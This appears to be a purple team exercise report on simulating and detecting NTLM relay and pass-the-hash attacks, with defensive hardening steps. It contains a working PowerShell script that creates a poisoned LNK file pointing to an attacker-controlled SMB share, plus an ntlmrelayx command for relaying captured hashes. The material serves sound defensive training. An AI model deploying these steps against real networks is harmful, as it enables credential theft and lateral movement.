Purple Team Lifecycle

Overall
Status: **Completed**

PB1150 - NTLM Relay and Pass-the-Hash

Lifecycle Project Manager
Jordan Drysdale
Office: 777-777-7777
Email: jordan@defensiveorigins.com

- ● Lifecycle Kickoff: 15/JUL/2020
- ● Simulation Start: 1/JUL/2020
- ● Simulation End: 18/JUL/2020
- ● Configuration Identified: 16/JUL/2020
- ● Change Management Referred 16/JUL/2020
- ● Configuration Deployed: 18/JUL/2020

Status Code Legend

🔴	Attack Simulation	🟠	System Configuration Change
🔵	Defense Simulation	●	Information

APT Lifecycle Ingest and Research

- ● Lifecycle Type: **Attack Simulation**
- ● Lifecycle Objective: **Alert, Defend**

- ● Ingest Source: Known Threat
- ● **MITRE T1171**
  https://attack.mitre.org/techniques/T1171/
- ● **MITRE T1075**
  https://attack.mitre.org/techniques/T1075/
- ● **MITRE 1550**
  https://attack.mitre.org/techniques/T1550/

- ● Execute a simulation attack of an SMB relay end to end. Poison a network file share with a malicious file that can cause silent SMB authentication.

Attack methodology

- 🔴 Use an LNK to create hostile network share locations. Create LNK with PowerShell and copy the resultant LNK file to network shares where user has write privileges.

```
$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("c:\Labs\Malicious.lnk")
$lnk.TargetPath = "\\10.10.98.20\@threat.png"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "Browsing the \\dc01\labs file share triggers SMB auth."
$lnk.HotKey = "Ctrl+Alt+O"
$lnk.Save()
```

- 🔴 Use impacket ntlmrelayx.py to relay captured hashes to other systems.

```
./ntlmrelayx.py -t 10.10.98.14 -smb2support
```

- 🔴 Cause workstation to query invalid file share location

Defense methodology

- 🔵 Search within optics stack for evidence of execution of relay or pass-the-hash attack.

Select the logs-endpoint-winevent-security-* index

The following combined events run as a query produce high-fidelity pass-the-hash results.

- event_id: 4624 and logon_type: 3 and user_reporter_sid: "s-1-0-0" and logon_process_name: ntlmssp

This produces very few false positives.

Including the src_ip_addr field produces accurate results.

Lifecycle Adjustments

- 🟠 Enable SMB Signing Requirements via Group Policy

ATOMIC PURPLE TEAMING

	https://www.blackhillsinfosec.com/an-smb-relay-race-how-to-exploit-llmnr-and-smb-message-signing-for-fun-and-profit/ https://support.microsoft.com/en-us/help/161372/how-to-enable-smb-signing-in-windows-nt System\CurrentControlSet\Services\LanManServer\Parameters \System\CurrentControlSet\Services\Rdr\Parameters ● Limit LLMNR via Group Policy https://www.blackhillsinfosec.com/how-to-disable-llmnr-why-you-want-to/ ● Deny access to this computer from network Group Policy https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/deny-access-to-this-computer-from-the-network Policy: Computer Configuration >> Windows Settings >> Security Settings >> Local Policies >> User Rights Assignment >> "Deny access to this computer from the network" to include the following.
Change Management	● Deploy configuration to limit LLMNR, Enable SMB Signing Requirements and Deny access to this computer from the network. ● Affected Users: Potential for all depending on authentication requirements of third-party systems and integrations. Tested to have not affected any. ● Rollback: Unassign GPOs.
Lessons Learned	● LLMNR and NBNS positing is a common foothold to capture credentials. NTLM relay with SMB signing disabled allows credential materials to be replayed to authenticate on other systems.